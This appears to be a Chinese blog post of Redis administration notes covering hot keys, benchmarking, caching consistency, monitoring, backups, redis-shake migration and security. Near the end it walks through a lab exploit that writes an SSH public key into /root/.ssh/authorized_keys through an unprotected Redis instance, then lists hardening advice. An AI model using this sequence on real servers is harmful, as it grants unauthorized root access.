美文网首页DBA数据库学习
DBA数据库笔记之(八)Redis运维必备

DBA数据库笔记之(八)Redis运维必备

作者: Mr培 | 来源:发表于2024-01-20 14:02 被阅读0次

    如何找到Redis热key?怎么预防

    Hotkey介绍

    • 什么是Hotkey?

    某个时间段访问频率比较高的key

    • Hotkey会有什么问题?

    导致集群流量不均衡,或者某一个节点QPS网卡流量CPU被打满,缓存击穿

    • Hotkey产生原因

    热点事件等

    怎样发现Hotkey

    • 客户端或者代理层
    • 使用Redis自带的monitor
    # 生产环境不建议使用,会降低Redis吞吐量50%以上;monitor 实时打印Redis执行的命令
    redis-cli -p 7001 -a IdfaUqTcdad82 monitor
    

    根据monitor打印的结果来进行统计

    mkdir /data/hotkey
    cd /data/hotkey
    git clone https://github.com/facebookarchive/redis-faina.git
    # 或者下载解压
    yum install unzip
    unzip redis-faina-master.zip
    cd redis-faina-master/
    ls
    # 执行命令 ;head -n 1000 分析1000行
    redis-cli -p 7001 -a IdfaUqTcdad82 monitor | head -n 1000 |./redis-faina.py
    
    # 测试,在另外的窗口,写个for循环
    for i in `seq 1000`;do redis-cli -p 7001 -a IdfaUqTcdad82 get aaa;done
    
    # 在回到之前的窗口,会输出结果
    
    • 使用客户端命令

    redis的最大内存策略,使用 优先淘汰访问最少的key

    # 修改最大内存策略
    redis-cli -p 7001 -a IdfaUqTcdad82 config get maxmemory-policy volatile-lfu
    # 和monitor的区别是可以记录曾经执行过的命令,不需要实时打印
    redis-cli -p 7001 -a IdfaUqTcdad82 --hotkeys
    
    • hotkey优化建议
    1. 拆分,迁移或复制热点key
    2. 使用读写分离
    3. 本地缓存加通知机制

    Redis压测

    redis-benchmark用法

    • redis-benchmark常用参数解释
    redis-benchmark --help
    -c 并发连接数
    -n 总的连接数量
    -d GET/SET数据的大小 
    -dbnum 哪个库
    --threads 启动多线程压测,接线程的个数
    --cluster 压测集群
    --enable-tracking 在开启基测之前,发送客户端跟踪
    -r 使用多少个key,默认使用相同key压测
    -q 安静模式,只显示查询和秒速
    -l 一直循环进行压测
    -t 压测的命令
    -I 打开多少个空闲连接并等待
    
    • 只压测部分命令类型
    # 压测建议在另外的机器连接Redis进行压测,模拟真实环境
    redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -t set,lpush -q -n 100000 
    
    • 压测某个具体命令
    # redis.call() 具体的命令
    redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -q -n 100000 script load "redis.call('set','aaa','1111')"
    
    • 每次使用随机key进行压测
    # -r 100000 10万个key
    redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -q -n 100000 -t set -r 100000
    
    • 使用pipeline进行压测
    # -P 16 表示模拟16个并发客户端
    redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -q -n 100000 -t set,get -P 16 -q
    

    实战压测

    • 单实例压测
    redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -t get -d 16 --thread 4 -c 100 -n 100000 -r 100000 -q
    
    • 集群压测
    # 查看集群信息
    redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82
    
    # 压测
    redis-benchmark -h 192.168.12.161 -p 8001 -a IdfaUqTcdad82 --cluster -t get -d 16 --thread 4 -c 100 -n 100000 -r 100000 -q
    

    怎样保证MySQL和Redis的数据一致?

    Redis和MySQL结合提供服务

    Redis和MySQL结合提供服务.jpg

    几种同步策略

    • 同步直写策略

    mysql和Redis通过事务同步写入,要么都成功要么都失败

    • 异步缓写策略

    mysql修改后运行一段时间修改Redis

    • 双检加锁策略

    对查询的Redis加锁,第一次查询不到加锁等待,第二次查询不到才去MySQL查询,查询成功后更新到Redis

    先删除Redis还是先更新MySQL

    • 先更新MySQL,再删除Redis

    先更新MySQL,如果删除Redis失败,那么就是脏数据

    • 先删除Redis,再更新MySQL

    不推荐,先删除Redis后,更新MySQL失败,会存在其它线程缓存缺失的情况,从数据库查询到旧值更新到Redis中,其它线程会读取到旧值

    • 延迟双删

    删除缓存,再更新数据库,让其它线程读取MySQL中数据再把缺失的数据写入到缓存,再sleep一段时间再去Redis里面删除缓存。

    一些特殊场景

    • 热点数据预加载到Redis中
    • MySQL数据实时同步到Redis

    缓存异常之穿透

    • 现象

    MySQL服务器压力变大,Redis命中率降低

    • 原因

    Redis查询不到数据,出现很多非正常的url访问,一般是遭受到攻击,或者Redis中的数据和MySQL中的数据库被删除掉了

    • 解决办法

    对空结果进行缓存,过期时间不要太长,比如10分钟;入口进行检测,前端或者nginx对请求进行合法性检测;进行实时监控,发现Redis的命中率开始下降就增加黑名单限制

    缓存异常之击穿

    • 现象

    数据库的访问压力瞬间增加,Redis里面没有出现大量key过期,Redis正常运行

    • 原因

    Redis的某个key过期,并且大量访问这个key,就会不断查询数据库

    • 解决办法

    预先设置热点数据,加大过期时间

    缓存异常之雪崩

    • 现象

    数据库压力变大,甚至崩溃

    • 原因

    在某个时间段,大量数据同时过期;Redis宕机

    • 解决办法

    使用多级缓存架构,比如 cdn-nginx-redis,错开key的过期时间;如果 Redis宕机,就可以进行服务熔断或者限流
    提前预防:redis高可用方案 redis哨兵+主从或者 redis cluster

    Redis内存管理

    惰性删除

    惰性删除.jpg
    # 惰性删除 aaa 这个key,Redis4.0开始引入惰性删除
    unlink aaa
    
    # redis6.0开始,如果开启,del 效果跟unlink一样
    config get lazyfree-lazy-user-del
    # 惰性清除redis数据库
    flushdb async
    # 惰性清除所有数据
    flushall async
    

    几种最大内存策略

    策略名 描述
    noeviction 达到内存限制时,写入操作会报错
    allkeys-lru 保留最近使用的key; 删除最近最少使用(LRU)的key
    allkeys-lfu 保留常用的key; 删除最不常用(LFU) 的key
    volatile-lru 删除最近最少使用的并且设置了过期时间的key
    volatile-lfu 删除最不常用的并且设置了过期时间的key
    allkeys-random 随机删除一些key,为添加的新数据腾出空间
    volatile-random 随机移除设置了过期时间的key
    volatile-ttl 删除设置了过期时间和最短剩余时间的key
    config get maxmemory-policy
    

    最大内存策略选择建议

    没有设置最大内存策略时,redis3.0之前默认volatile-lru;之后的版本默认noeviction

    • 作为缓存,明显有冷热数据区分,用allkeys-lru
    • 有一部分数据需要一直被访问,用volatile-lru
    • 任何数据都不能丢失,用noeviction(内存用满了,新写入的数据就会报错)

    Redis常见监控

    连接监控

    监控项 获取方式
    连接失败监控 redis-cli ping
    客户端连接数 info clients中的connected_clients

    变量监控

    监控项 获取方式
    配置的最大内存 config get maxmemory
    最大内存策略 config get maxmemory-policy

    主从复制监控

    监控项 获取方式
    角色监控 info replication中的role
    复制状态监控 info replication中的master_link_status
    延迟监控 info replication中的master_repl_offset和slave0字段的offset之间的差值
    从库是否设置只读 info replication中的slave_read_only

    吞吐量监控

    监控项 获取方式
    QPS info stats的instanttaneous_ops_per_sec
    网络总入量 info stats的total_net_input_bytes
    网络总出量 info stats的total_net_output_bytes
    每秒输入量 info stats的instantaneous_input_kbps
    每秒输出量 info stats的instantaneous_output_kbps

    内存监控

    监控项 获取方式
    内存使用率 used_memory/maxmemory
    内存碎片率 info memory中的mem_fragmentation_ratio
    缓存命中率 info stats中,keyspace_hits/(keyspace_hits+keyspace_misses)
    # yes 表示开启内存碎片自动整理
    config get activedefrag
    # 内存碎片超过这个配置就会触发自动清理
    config get active-defrag-ignore-bytes
    # 10 表示内存碎片率超过10%就开始内存碎片整理
    config get active-defrag-threshold-lower
    # 100 表示内存碎片率超过100%就尽最大努力清理碎片
    config get active-defrag-threshold-upper
    # 1 表示自动清理碎片过程中所用CPU时间的比例不会低于1
    config get active-defrag-cycle-min
    # 25 表示自动清理碎片过程中所用CPU时间的比例不会超过25%
    config get active-defrag-cycle-max
    

    持久化监控

    监控项 获取方式
    上一次RDB持久化状态 info persistence中的rdb_last_bgsave_status
    上一次RDB持久化的持续时间 info persistence中的rdb_last_bgsave_status
    上一次RDB持久化的持续时间 info persistence中的rdb_last_bgsave_time_sec
    查看AOF文件大小 info persistence中的aof_current_size

    key监控

    监控项 获取方式
    key数量 info keyspace中的keys
    大key 从RDB分析结果中获取
    热key 使用monitor,客户端或者代理层,redis-cli --hotkeys

    慢查询监控

    监控项 获取方式
    慢查询 slowlog get

    集群监控

    监控项 获取方式
    集群状态 cluster info中的cluster_state
    哈希槽的状态 cluster info中的cluster_slots_fail
    集群节点数量 cluster info中的cluster_known_nodes

    Redis备份

    多数场景下建议只把Redis当做缓存使用,一些特殊情况会把Redis当做数据库使用就要对Redis进行备份

    RDB丢数据的场景 -模拟

    • 修改RDB落盘策略
    # 先关闭AOF
    config set appendonly no
    config rewrite
    # 确认RDB是否开启; 3600 1 300 100 60 10000 表示开启,3600 1 表示3600秒以内有一次更新就落一次盘;300 100 表示300秒以内有100次更新就会进行一次落盘;60 10000 表示60秒以内有10000次更新就进行RDB落盘
    config get save
    
    • 写入测试数据
    flushall
    set al 1
    bgsave
    set a2 2
    
    • 恢复测试
    ps -ef|grep redis
    # -9 强制关闭,不会自动执行bgsave;模拟Redis突然宕机或者服务器突然宕机
    kill -9 5366
    # 启动redis
    /usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
    keys *
    # 发现a2的数据已经丢失
    

    AOF备份恢复测试

    • 开启AOF落盘
    # 先关闭RDB落盘
    config set save ""
    # 开启AOF落盘
    config set appendonly yes
    config rewrite
    
    • 写入测试数据
    flushall
    set b1 1
    set b2 2
    
    • 恢复测试
    ps -ef|grep redis
    kill -9 5394
    # 启动redis
    /usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
    keys *
    # 现在数据都已经恢复
    

    RDB和AOF同时开启时的数据加载

    config get save
    # 开启RDB落盘
    config set save "3600 1 300 100 60 10000"、
    config get appendonly 
    config rewrite
    
    • 删除AOF文件查看是否能加载RDB文件
    flushall
    set c1 1
    set c2 2
    bgsave
    
    # 测试
    ps -ef|grep redis
    kill -9 5481
    cd /data/redis7001/data/
    mv appendonly.aof appendonly.aof_02
    # 再启动redis
    /usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
    keys *
    # 空的数据
    

    RDB和AOF同时开启的情况下不会加载新的RDB,优先加载AOF即使没有AOF文件也是会加载一个空的AOF文件

    • 删除RDB文件看是否能加载AOF文件
    flushall
    set d1 1
    set d2 2
    
    ps -ef|grep redis
    kill -9 5481
    cd /data/redis7001/data/
    mv dump.rdb dump.rdb_02
    
    # 再启动redis
    /usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
    keys *
    # 刚写入所有数据存在
    
    • 强制加载RDB文件的方式
    flushall
    set f1 1
    set f2 2
    bgsave
    
    # 关闭redis
    shutdown
    
    # RDB和AOF同时存在只想加载RDB时,可以在配置文件关闭AOF
    vim /data/redis7001/conf/redis.conf
    appendonly no
    # 然后再移除aof文件
    cd /data/redis7001/data/
    mv appenonly.aof appenonly.aof_03
    # 启动redis
    /usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
    keys *
    # 数据恢复
    

    备份脚本编写

    • 准备

    在从库进行备份,在162进行备份,把备份传到163上,在163进行恢复

    # 163
    mkdir /data/redisbak
    
    # 162和163建立互信
    # 162 生成公私钥,把公钥复制到163上
    ssh-keygen
    # 通过命令直接把公钥传到163
    ssh-copy-id root@192.168.12.163
    
    # 163查看
    cat /root/.ssh/authorized_keys
    
    # 161写入一些数据
    flushall
    set bak1 1
    set bak2 2
    
    # 162 手动触发落盘(模拟)
    bgsave
    
    • 使用ChatGPT生成备份脚本

    redis的连接信息:redis-cli -h 192.168.12.162 -p 7001 -a IdfaUqTcdad82
    编写一个脚本,每小时备份RDB文件
    RDB路径:/data/redis7001/data/dump.rdb
    备份文件加上IP信息:192.168.12.162
    并把备份文件拷贝到192。168.12.163上的/data/redisbak文件夹下
    162和163的root用户已经创建了SSH密钥认证

    # 162 复制代码,编写sh文件
    vim bak_redis.sh
    # 在复制的代码中注释掉
    
    # 备份Redis RDB文件
    #redis-cli -h xxxx -p xxx -a xxxx SAVE
    #sleep 5
    
    # 修改备份目录等相关不正确的地方,不存在的目录需要创建等
    
    sh bak_redis.sh
    
    • 恢复测试
    # 163
    ps -ef|grep redis
    cd /data/redis7001/ddata/
    ls
    # 删除已存在的rdb文件
    rm -rf dump.rdb
    # 在把备份的rdb移过来
    cp /data/redisbak/dump_192.168.12.162.rdb dump.rdb
    
    # 配置文件关闭aof
    vim /data/redis7001/conf/redis.conf
    appendonly no
    
    # 启动redis
    /usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
    keys *
    

    Redis备份建议

    1. 数据不能丢失可选择RDB和AOF混合使用
    2. 允许分钟级小时级数据丢失可以使用RDB
    3. 优先考虑在从上备份

    Redis数据迁移

    数据同步工具redis-shake介绍

    mkdir /data/redisshake
    cd /data/redisshake/
    wget https://github.com/tair-opensource/RedisShake/releases/download/v4.0.2/redis-shake-linux-amd64.tar.gz
    tar axvf redis-shake-linux-amd64.tar.gz
    
    • redis-shake配置文件解析
      文档
    vim shake.toml
    
    # 数据源
    [sync_reader]
    cluster = false # 源端是否为集群
    address = "127.0.0.1:6379" #源端的ip地址和端口
    username = ""   #账号
    password = ""   #密码
    tls = false
    sync_rdb = true #是否同步rdb;true开始全量同步;false跳过全量同步
    sync_aof = true #是否开启aof;true开启增量同步;false跳过增量同步
    
    # 通过scan命令遍历源端数据库中的所有key并使用dump和restore命令来读取和写入key的内容
    [scan_reader]
    
    # 表示从rdb文件读取数据然后写入目标端
    [rdb_reader]
    
    # 以上三个只能开启一个
    
    # 目标端的配置
    [redis_writer]
    cluster = false # 目标端是否为集群
    address = "127.0.0.1:6379" #目标端的ip地址和端口
    username = ""   #账号
    password = ""   #密码
    tls = false
    
    # 高级的配置
    [advanced]
    dir = "data"    #临时文件夹
    
    log_file = "shake.log"  #log文件的名字
    log_level = "info"  #日志级别
    
    rdb_restore_command_behavior = "pannic" #表示在迁移的时候目标实例的key如果已经存在可以采取怎样的措施;pannic 表示直接报错;rewrite 表示覆盖;ignore 表示忽略同步继续
    

    单实例导入到单实例

    • 写入测试数据
    # 161
    flushall
    set ip.161.01 1
    set ip.161.02 1
    
    # 163
    flushall
    
    • 修改同步的配置文件
    # 161
    cp shake.toml 161_to_163.toml
    vim 161_to_163.toml
    
    [sync_reader]
    cluster = false
    address = "192.161.12.161:7001"
    username = ""  
    password = "IdfaUqTcdad82"  
    tls = false
    sync_rdb = true 
    sync_aof = true
    
    [redis_writer]
    cluster = false 
    address = "192.168.12.163:7001" 
    username = "" 
    password = "IdfaUqTcdad82"  
    tls = false
    
    • 执行迁移操作
    ./redis-shake 161_to_163.toml
    
    # 163 上查看数据
    keys *
    

    单实例数据同步到集群

    • 清空集群数据
    # 查看集群节点
    redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82
    
    # 情况所有主节点
    redis-cli -h 192.168.12.162 -p 8001 -a IdfaUqTcdad82 -c flushall
    redis-cli -h 192.168.12.161 -p 8002 -a IdfaUqTcdad82 -c flushall
    redis-cli -h 192.168.12.162 -p 8002 -a IdfaUqTcdad82 -c flushall
    
    • 编辑同步的配置文件
    cp shake.toml 161_to_cluster.toml
    vim 161_to_cluster.toml
    
    [sync_reader]
    cluster = false
    address = "192.161.12.161:7001"
    username = ""  
    password = "IdfaUqTcdad82"  
    tls = false
    sync_rdb = true 
    sync_aof = true
    
    [redis_writer]
    cluster = true 
    address = "192.168.12.161:8001" 
    username = "" 
    password = "IdfaUqTcdad82"  
    tls = false
    
    • 运行同步并在集群里确定数据
    ./redis-shake 161_to_cluster.toml
    
    # 查看数据
    redis-cli -p 7001 -a IdfaUqTcdad82
    keys *
    # 登录集群
    redis-cli -h 192.168.12.161 -p 8001 -a IdfaUqTcdad82 -c
    get ip.161.01
    

    集群数据同步到单实例

    • 写入测试数据
    # 查看集群状态
    redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82
    
    # 清空所有主节点
    redis-cli -h 192.168.12.162 -p 8001 -a IdfaUqTcdad82 -c flushall
    redis-cli -h 192.168.12.161 -p 8002 -a IdfaUqTcdad82 -c flushall
    redis-cli -h 192.168.12.162 -p 8002 -a IdfaUqTcdad82 -c flushall
    
    redis-cli -p 8001 -a IdfaUqTcdad82 -c
    set c1 1
    set c2 2
    set c3 3
    
    # 清空163
    flushall
    keys *
    
    • 修改同步的配置文件
    cp shake.toml cluster_to_163.toml
    vim cluster_to_163.toml
    
    [scan_reader]
    cluster = true
    # 集群的某一个节点
    address = "192.161.12.161:8001"
    username = ""  
    password = "IdfaUqTcdad82"  
    tls = false
    sync_rdb = true 
    sync_aof = true
    
    [redis_writer]
    cluster = false 
    address = "192.168.12.163:7001" 
    username = "" 
    password = "IdfaUqTcdad82"  
    tls = false
    
    • 执行迁移操作
    ./redis-shake cluster_to_163.toml
    # 163
    keys *
    

    RDB数据导入到集群

    • 获取RDB文件
    redis-cli -p 7001 -a IdfaUqTcdad82
    flushall
    set 161_rdb_t1 1
    set 161_rdb_t2 1
    
    bgsave
    info
    # 复制RDB文件
    cp /data/redis7001/data/dump.rdb /data/redisshake/
    # 清空集群
    redis-cli --cluster check 192.168.12.161:8001 -a IdfaUqTcdad82
    
    # 清空所有主节点
    redis-cli -h 192.168.12.162 -p 8001 -a IdfaUqTcdad82 -c flushall
    redis-cli -h 192.168.12.161 -p 8002 -a IdfaUqTcdad82 -c flushall
    redis-cli -h 192.168.12.162 -p 8002 -a IdfaUqTcdad82 -c flushall
    
    • 编辑同步的配置文件
    cp shake.toml rdb_to_cluster.toml
    vim rdb_to_cluster.toml
    
    [rdb_reader]
    filepath = "/data/redisshake/dump.rdb"
    
    [redis_writer]
    cluster = true 
    address = "192.168.12.161:8001" 
    username = "" 
    password = "IdfaUqTcdad82"  
    tls = false
    
    • 运行同步并确定数据
    ./redis-shake rdb_to_cluster.toml
    # 登录集群查看数据
    redis-cli -h 192.168.12.161 -p 8001 -a IdfaUqTcdad82 -c
    get 161_rdb_t1
    get 161_rdb_t2
    

    RedisShake注意事项

    1. 不能在同一个目录同时运行多个RedisShake进程
    2. 不要从高版本迁移到低版本
    3. sentinel的架构,建议只在从库同步

    Redis的单线程和多线程

    多线程的发展历程

    4.0之前的版本 单线程 -> 4.0开始 开始支持部分功能的多线程 -> 6.0开始 面向网络处理的多线程(读写操作还是单线程保证原子性)

    关于单线程和多线程的一些疑问

    • Redis为什么这么快?
    1. 所有数据都在内存中
    2. 所有数据结构比较简单
    3. 采用多路复用和非阻塞IO(redis使用IO多路复用来监听多个socket连接客户端,一但有请求到达就交给Redis线程处理,避免IO阻塞)
    4. 避免上下文切换(因为是单线程模型,避免了不必要的上下文切换,多线性的一些锁竞争等)
    • 为什么选择单线程呢?

    使Redis的开发和维护更简单,即使是单线程也能并发处理多个客户端的请求(使用的是IO多路复用和非阻塞IO,对于Redis系统来说主要的性能瓶颈是内存或者网络并非CPU,尽管多线程可以增加吞吐量但是多线程就涉及到共享某个资源的情况就要考虑锁)

    • 既然单线程这么好,为什么逐渐又加入了多线程特性?

    举例
    一个hash类型的大key,有上万个元素,要删除的话可能要删除很久,这样就会导致主线程处理不了其它请求,需要等待删除操作完成这样其它的正常请求都会被影响。在4.0引入多线程来实现惰性删除,可以避免删除大key导致主线程阻塞的问题

    Redis6.0多线程的实现原理

    Redis6.0多线程的实现原理.jpg

    Redis6.0多线程的注意事项

    • 多线程需要我们主动开启
    # io-threads-do-reads 表示是否开启多线程;io-threads 表示线程个数;都不支持动态修改
    config get io*
    
    • 使用多线程之前建议先进行压测
    # 压测
    redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -d 128 --threads 4 -c 200 -q -t get -r 100000 -n 100000
    
    # 开启多线程
    vim /data/redis7001/conf/redis.conf
    
    io-threads-do-reads yes
    io-threads 4
    
    shutdown
    # 启动redis
    /usr/local/redis6/bin/redis-server /data/redis7001/conf/redis.conf
    
    # 压测
    redis-benchmark -h 192.168.12.161 -p 7001 -a IdfaUqTcdad82 -d 128 --threads 4 -c 200 -q -t get -r 100000 -n 100000
    

    使用Redis的注意事项

    键值对的建议

    • key名建议
    1. 业务+表名+ID 例如:school:student:1
    2. 不能包含特殊字符
    • value建议
    1. string类型控制在10kb以内,hash,list,set,zset的元素个数不要超过五千
    2. 设置了过期时间的数据会自动删除key,如果没有设置异步,那么删除key也会阻塞主线程
    • 控制key的过期时间
    1. 内存很贵,尽量都设置过期时间
    2. 同一台机器里面过期时间尽量错开,避免导致缓存崩溃

    禁用一些高危命令

    比如 keys *,flushall等

    • 改写高危命令
    vim /data/redis7001/conf/redis.conf
    # 添加
    rename-command flushall ""
    rename-command flushadb ""
    rename-command keys ""
    
    # 重启
    
    • 使用6.0的ACL禁用危险命令
    # +@ 赋予权限;-@ 取消权限;~* 所有key
    acl setuser martin on > martin123 +@all -@dangerous ~*
    # 查看所有用户状态
    acl list
    # 创建的用户永久生效
    config rewrite
    
    # 登录redis
    redis-cli --user martin --pass martin123 -p 7001
    
    # flushall,flushadb 命令等讲不再可以执行
    

    谨慎执行影响性能的命令

    • 适量获取数据
    HSCAN hash_test 0 count 100
    
    • monitor命令谨慎使用

    ⚠️⚠️⚠️夺权漏洞实验

    • 安装一套不过范的redis
    # 修改配置文件,注释密码
    # 新增参数, protected-mode 保护模式,yes 表示必须绑定ip或者设置密码才能访问redis
    protected-mode no
    
    # 重启
    
    • 把公钥植入到redis服务所在机器
    # 尝试连接密码,需要输入密码
    ssh 192.168.12.161
    
    # 将本机的公钥写到txt文件中
    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > 1.txt
    cat 1.txt
    
    cat 1.txt | redis-cli -h 192.168.12.161 -p 7002 -x set aaa
    
    redis-cli -h 192.168.12.161 -p 7002 
    # 更改持久化数据目录
    config set dir /root/.ssh
    # 设置持久化数据库文件(RDB文件)的文件名
    config set dbfilename "authorized_keys"
    bgsave
    
    # 这下就可以免密登录redis服务所在机器了
    
    • 客户端尝试免密登录Redis所在的机器
    • 问题
    1. Redis是以root用户启动的
    2. 保护模式是关闭的

    Redis安全相关的建议

    1. 禁止root用户启动Redis
    2. 避免使用默认端口
    3. Redis所在的机器不开放外网
    4. 开启防火墙访问
    5. 设置密码认证
    6. 启动安全模式

    客户端使用的建议

    1. 禁止多个应用使用一套Redis实例
    2. 冷热数据区分
    3. 连接池

    相关文章

      网友评论

        本文标题:DBA数据库笔记之(八)Redis运维必备

        本文链接:https://www.haomeiwen.com/subject/rsksodtx.html